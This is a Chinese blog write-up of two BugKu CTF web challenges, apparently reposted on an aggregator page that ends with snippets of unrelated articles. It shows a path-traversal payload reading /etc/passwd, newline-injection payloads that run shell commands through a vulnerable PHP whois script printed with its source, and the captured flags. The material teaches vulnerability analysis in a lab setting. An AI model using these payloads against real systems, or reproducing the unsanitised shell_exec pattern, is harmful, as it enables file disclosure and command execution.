BugKu刷题日记(web)一

文章目录

  • lfi
    • 题目页面
    • 恶意构造
    • 解题思路
  • Whois
    • 题目页面
    • 恶意构造
    • 解题思路

lfi

来源:https://ctf.bugku.com/challenges/detail/id/429.html
漏洞类型:文件包含漏洞
同类型BugKu:baby ifi、baby ifi 2

题目页面

1

恶意构造

http://example.com/index.php?language=../../../etc/passwd

解题思路

bp抓包,之后修改GET头,加上恶意构造。
2

GET /?language=/etc/passwd HTTP/1.1
Host: 82.157.146.43:16461
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.6261.57 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Connection: close

flag:shellmates{SH0uLD_H4Ve_MadE_th3_checK_recuRS1V3}

Whois

来源:https://ctf.bugku.com/challenges/detail/id/432.html
漏洞类型:命令执行

题目页面

1

恶意构造

http://example.com/query.php?host=whois.verisign-grs.com%0A&query=ls
http://example.com/query.php?host=whois.verisign-grs.com%0A&query=tac%20thisistheflagwithrandomstuffthatyouwontguessJUSTCATME

在 shell 或终端中执行命令的上下文中,该$字符用于表示 shell 提示符的开始。它本身不是一个命令,而是一个表示 shell 已准备好接受用户输入的符号。

解题思路

  1. 利用JS读取工具可以发现源代码文件
  2. 分析源代码
  3. 进行恶意构造,利用回车的URL编码绕过第一个判断,之后使用命令执行即可
  4. GET传参数

3
进行命令执行
4
解析

<?php
error_reporting(0);$output = null;
$host_regex = "/^[0-9a-zA-Z][0-9a-zA-Z\.-]+$/";
$query_regex = "/^[0-9a-zA-Z\. ]+$/";if (isset($_GET['query']) && isset($_GET['host']) && is_string($_GET['query']) && is_string($_GET['host'])) {$query = $_GET['query'];$host = $_GET['host'];if ( !preg_match($host_regex, $host) || !preg_match($query_regex, $query) ) {$output = "Invalid query or whois host";} else {$output = shell_exec("/usr/bin/whois -h ${host} ${query}");}} 
else {highlight_file(__FILE__);exit;
}
?>
<!DOCTYPE html>
<html><head><title>Whois</title></head><body><pre><?= htmlspecialchars($output) ?></pre></body>
</html>

让我逐行解释一下代码的功能:

  1. error_reporting(0); - 这行代码用于关闭错误报告,以确保不会向浏览器输出任何错误信息。

  2. $output = null; - 声明一个名为$output的变量,并将其初始化为空。

  3. $host_regex = "/^[0-9a-zA-Z][0-9a-zA-Z\.-]+$/"; - 正则表达式,用于验证输入的主机名是否合法。

  4. $query_regex = "/^[0-9a-zA-Z\. ]+$/"; - 正则表达式,用于验证查询字符串是否合法。

  5. if (isset($_GET['query']) && isset($_GET['host']) && is_string($_GET['query']) && is_string($_GET['host'])) { - 检查是否设置了’query’和’host’参数,并确保这两个参数是字符串类型。

  6. $query = $_GET['query']; - 将’query’参数的值赋给$query变量。

  7. $host = $_GET['host']; - 将’host’参数的值赋给$host变量。

  8. if (!preg_match($host_regex, $host) || !preg_match($query_regex, $query)) { - 使用正则表达式验证主机名和查询字符串的有效性。如果未通过验证,则输出"Invalid query or whois host"。

  9. $output = shell_exec("/usr/bin/whois -h ${host} ${query}"); - 调用shell_exec函数执行命令,使用指定的Whois服务器和查询参数执行Whois查询,并将结果赋给$output变量。

  10. highlight_file(__FILE__); - 如果没有设置’query’和’host’参数,或者参数无效,则显示代码本身。

  11. <?= htmlspecialchars($output) ?> - 在HTML页面中输出Whois查询结果,使用htmlspecialchars函数确保输出的文本不会被解析为HTML标签。

正则表达式:
正则表达式的意图是仅允许字母数字字符、点号和连字符(对于 h o s t ),以及字母数字字符、点号和空格(对于 host),以及字母数字字符、点号和空格(对于 host),以及字母数字字符、点号和空格(对于query)。考虑到这些,以下是一些可能的绕过方法:

  1. 逻辑短路:
  • 如果正则表达式的实现或使用方式存在缺陷,输入可能不完全被验证。例如,如果系统在验证通过之前就执行了部分输入,或者在正则表达式匹配后未正确清理输入。
  1. 正则表达式实现差异:
  • 不同的编程语言或库对正则表达式的解释可能略有差异。攻击者可能利用这些差异找到绕过的方法。
  1. 编码和转义字符:
  • 通过使用URL编码、多字节字符或转义序列,可能在不违反正则表达式的条件下使输入被解释为有害命令。
  1. 逻辑误用:
  • 如果验证逻辑被误用,例如,在验证后没有完全消毒或引用变量,可能导致注入攻击。

flag: shellmates{i_$h0U1D_HaVE_R3AD_7HE_dOc_W3Ll_9837432986534065}

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/276508.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

程序人生——Java数组和集合使用建议(1)

目录 引出数组和集合建议60&#xff1a;性能考虑&#xff0c;数组是首选建议61&#xff1a;若有必要&#xff0c;使用变长数组建议62&#xff1a;警惕数组的浅拷贝 建议63&#xff1a;在明确的场景下&#xff0c;为集合指定初始容量建议64&#xff1a;多种最值算法&#xff0c;…

C++ 作业 24/3/14

1、成员函数版本实现算术运算符的重载&#xff1b;全局函数版本实现算术运算符的重载 #include <iostream>using namespace std;class Test {friend const Test operator-(const Test &L,const Test &R); private:int c;int n; public:Test(){}Test(int c,int n…

算法的时间复杂度和空间复杂度(数据结构)

本博客讲解算法的时间复杂度和空间复杂度的来源及定义&#xff0c;时间复杂度的表示及练习。空间复杂度的计算会在后续博客讲解 算法的复杂度 算法在编写成可执行程序后&#xff0c;运行时需要耗费时间资源和空间(内存)资源 。因此衡量一个算法的好坏&#xff0c;一般是从时…

DHCP-SNOOPING-嗅探/窥探

DHCP-SNOOPING 私接设备了&#xff0c;非终端收到了报文 所有接口设置为非信任&#xff0c;然后单独配置其中一个接口为信任

ansible 部署FATE集群单边场景

官方文档&#xff1a; https://github.com/FederatedAI/AnsibleFATE/blob/main/docs/ansible_deploy_FATE_manual.md https://github.com/FederatedAI/AnsibleFATE/blob/main/docs/ansible_deploy_two_sides.md gitee详细文档&#xff1a; docs/ansible_deploy_one_side.md…

第N4周:中文文本分类-Pytorch实现

>- **&#x1f368; 本文为[&#x1f517;365天深度学习训练营](https://mp.weixin.qq.com/s/rbOOmire8OocQ90QM78DRA) 中的学习记录博客** >- **&#x1f356; 原作者&#xff1a;[K同学啊 | 接辅导、项目定制](https://mtyjkh.blog.csdn.net/)** # -*- coding: utf-8 -…

数据集成工具 ---- datax 3.0

1、datax: 是一个异构数据源离线同步工具&#xff0c;致力于实现关系型数据库&#xff08;mysql、oracle等&#xff09;hdfs、hive、hbase等各种异构数据源之间的数据同步 2、参考网址文献&#xff1a; https://github.com/alibaba/DataX/blob/master/introduction.mdhttps:/…

Redis:持久化、线程模型、大 key

Redis持久化方式有什么方式&#xff1f; Redis 的读写操作都是在内存中&#xff0c;所以 Redis 性能才会高&#xff0c;但是当 Redis 重启后&#xff0c;内存中的数据就会丢失&#xff0c;那为了保证内存中的数据不会丢失&#xff0c;Redis 实现了数据持久化的机制&#xff0c…

【CenterFusion】CenterFusion网络架构概述

一、CenterFusion 概述 这个项目&#xff0c;重点研究毫米波雷达和相机传感器融合的方法利用毫米波雷达传感器数据和相机传感器数据进行 3D 目标检测并在 NuScenes 数据集上面进行评估CenterFusion 网络架构&#xff1a; CenterFusion 网络架构首先利用全卷积骨干网提取目标物…

【ArcGIS】栅格数据进行标准化(归一化)处理

栅格数据进行标准化&#xff08;归一化&#xff09;处理 方法1&#xff1a;栅格计算器方法2&#xff1a;模糊分析参考 栅格数据进行标准化(归一化)处理 方法1&#xff1a;栅格计算器 栅格计算器&#xff08;Raster Calculator&#xff09; 计算完毕后&#xff0c;得到归一化…

谷粒商城——分布式基础(全栈开发篇第一部分)

文章目录 一、服务治理网路数据支撑日志处理ELK应用监控集成工具开发工具 二、环境创建1、虚拟机创建2、虚拟机安装docker等1. 安装docker1. 配置阿里docker3.docker安装mysql错误 4、docker安装redis 3、软件1.Maven 阿里云镜像1.8jdk2、idea lombokmybatisX &#xff0c;3、 …

[LVGL]:MACOS下使用LVGL模拟器

如何在MACOS下使用lvgl模拟器 1.安装必要环境 brew install sdl2查看sdl2安装位置&#xff1a; (base) ➜ ~ brew list sdl2 /opt/homebrew/Cellar/sdl2/2.30.1/bin/sdl2-config /opt/homebrew/Cellar/sdl2/2.30.1/include/SDL2/ (78 files) /opt/homebrew/Cellar/sdl2/2.3…

Vue3基础笔记(1)模版语法 属性绑定 渲染

Vue全称Vue.js是一种渐进式的JavaScript框架&#xff0c;采用自底向上增量开发的设计&#xff0c;核心库只关注视图层。性能丰富&#xff0c;完全有能力驱动采用单文件组件和Vue生态系统支持的库开发的复杂单页应用&#xff0c;适用于场景丰富的web前端框架。灵活性和可逐步集成…

Vue.js+SpringBoot开发个人健康管理系统

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 健康档案模块2.2 体检档案模块2.3 健康咨询模块 三、系统展示四、核心代码4.1 查询健康档案4.2 新增健康档案4.3 查询体检档案4.4 新增体检档案4.5 新增健康咨询 五、免责说明 一、摘要 1.1 项目介绍 基于JAVAVueSpri…

第十四届蓝桥杯省赛真题 Java 研究生 组【原卷】

文章目录 发现宝藏【考生须知】试题 A: 特殊日期试题 B: 与或异或试题 C: 棋盘试题 D: 子矩阵试题 E : \mathrm{E}: E: 互质数的个数试题 F: 小蓝的旅行计划试题 G: 奇怪的数试题 H: 太阳试题 I: 高塔试题 J \mathrm{J} J : 反异或 01 串 发现宝藏 前些天发现了一个巨牛的人…

YOLOv9改进 添加可变形注意力机制DAttention

一、Deformable Attention Transformer论文 论文地址:arxiv.org/pdf/2201.00520.pdf 二、Deformable Attention Transformer注意力结构 Deformable Attention Transformer包含可变形注意力机制,允许模型根据输入的内容动态调整注意力权重。在传统的Transformer中,注意力是…

C语言从入门到实战————数组和指针的深入理解

前言 在C语言中&#xff0c;数组和指针有的密切得联系&#xff0c;因为数组名本身就相当于一个指针常量。指针是一个变量&#xff0c;专门用来存储另一个变量的内存地址&#xff0c;通过这个地址可以访问和操作该变量的值&#xff0c;同时也包括数组。数组是一组连续存储的同类…

社交革命的引领者:探索Facebook如何改变我们的生活方式

1.数字社交的兴起 随着互联网的普及&#xff0c;社交媒体成为我们日常生活的重要组成部分。Facebook作为其中的先驱&#xff0c;从最初的社交网络演变成了一个拥有数十亿用户的全球化平台。它不仅改变了我们与世界互动的方式&#xff0c;还深刻影响了我们的社交习惯、人际关系以…

nut-ui组件库icon中使用阿里图标

1.需求 基本每个移动端组件库都有组件 icon组件 图标组件、 但是很多组件库中并找不到我们需要的图标 这时候 大家有可能会找图标库 最大众的就是iconfont的图标了 2.使用 有很多方式去使用这个东西 比如将再限链接中的css引入 在使用 直接下载图标 symbol 方式 等....…

解锁未知:探索 Web3 的创新与前景

在数字化时代的潮流下&#xff0c;Web3作为下一代互联网的关键构建&#xff0c;正引领着数字经济的崭新篇章。本文将深入探讨Web3的创新特性及其对未来发展的影响。 1. Web3 的崭新定义 Web3不仅是技术的革新&#xff0c;更是一种理念的演进。其核心特征包括去中心化、可编程性…